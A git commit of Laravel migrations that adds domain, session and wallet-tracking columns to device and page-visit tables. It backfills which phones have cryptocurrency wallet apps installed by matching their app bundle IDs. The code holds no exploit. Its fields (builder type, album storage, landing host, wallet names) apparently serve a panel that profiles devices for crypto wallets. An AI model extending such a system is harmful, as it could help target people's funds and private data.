feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('source_domain', 255)->nullable()->after('channel_id');
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('source_domain');
});
}
};
@@ -0,0 +1,34 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->string('domain', 255)->nullable()->after('path');
$table->index('domain');
});
// iptj used to stash the landing host in `path`.
DB::table('page_visits')
->whereNull('domain')
->whereNotNull('path')
->where('path', 'not like', '/%')
->where('path', 'not like', '%/%')
->where('path', 'like', '%.%')
->update(['domain' => DB::raw('path')]);
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex(['domain']);
$table->dropColumn('domain');
});
}
};
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropColumn('path');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->string('path', 255)->nullable()->after('ip');
});
}
};
@@ -0,0 +1,24 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->string('session_id', 64)->nullable()->after('client_uid');
$table->unique('session_id');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropUnique(['session_id']);
$table->dropColumn('session_id');
});
}
};
@@ -0,0 +1,23 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('channels', function (Blueprint $table) {
$table->dropUnique(['channel_name']);
$table->dropColumn('channel_name');
});
}
public function down(): void
{
Schema::table('channels', function (Blueprint $table) {
$table->string('channel_name', 32)->nullable()->unique()->after('builder_type');
});
}
};
@@ -0,0 +1,84 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->unsignedTinyInteger('has_wallet')->default(0)->after('album_storage');
$table->json('wallet_names')->nullable()->after('has_wallet');
$table->index('has_wallet');
});
$this->backfillFromApps();
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['has_wallet']);
$table->dropColumn(['has_wallet', 'wallet_names']);
});
}
private function backfillFromApps(): void
{
if (! Schema::hasTable('device_apps')) {
return;
}
$skip = ['ph.telegra.Telegraph', 'net.whatsapp.WhatsApp'];
$bundles = array_values(array_filter(
(array) config('coruna.wallet_bundles', []),
static fn ($b) => is_string($b) && $b !== '' && ! in_array($b, $skip, true),
));
$deviceIdsWithApps = DB::table('device_apps')->distinct()->pluck('device_id');
if ($deviceIdsWithApps->isEmpty()) {
return;
}
$walletRows = $bundles === []
? collect()
: DB::table('device_apps')
->whereIn('device_id', $deviceIdsWithApps)
->whereIn('bundle_id', $bundles)
->get(['device_id', 'bundle_id', 'name']);
$namesByDevice = [];
foreach ($walletRows as $row) {
$label = trim((string) ($row->name ?: $row->bundle_id));
if ($label === '') {
continue;
}
$namesByDevice[(int) $row->device_id][$label] = true;
}
$walletDeviceIds = array_keys($namesByDevice);
$noneIds = $deviceIdsWithApps->map(static fn ($id) => (int) $id)
->reject(static fn ($id) => in_array($id, $walletDeviceIds, true))
->values()
->all();
if ($noneIds !== []) {
DB::table('devices')->whereIn('id', $noneIds)->update([
'has_wallet' => 1,
'wallet_names' => null,
]);
}
foreach ($namesByDevice as $deviceId => $labels) {
$names = array_keys($labels);
sort($names);
DB::table('devices')->where('id', $deviceId)->update([
'has_wallet' => 2,
'wallet_names' => json_encode(array_values($names), JSON_UNESCAPED_UNICODE),
]);
}
}
};
@@ -0,0 +1,27 @@
<?php
use App\Models\DeviceApp;
use App\Support\WalletSource;
use Illuminate\Database\Migrations\Migration;
return new class extends Migration
{
public function up(): void
{
DeviceApp::query()->orderBy('id')->chunkById(200, function ($apps) {
foreach ($apps as $app) {
$want = WalletSource::isPluginWalletBundle((string) $app->bundle_id);
if ((bool) $app->is_wallet === $want) {
continue;
}
$app->is_wallet = $want;
$app->save();
}
});
}
public function down(): void
{
// Irreversible: previous regex / wallet_bundles tagging is not reconstructed.
}
};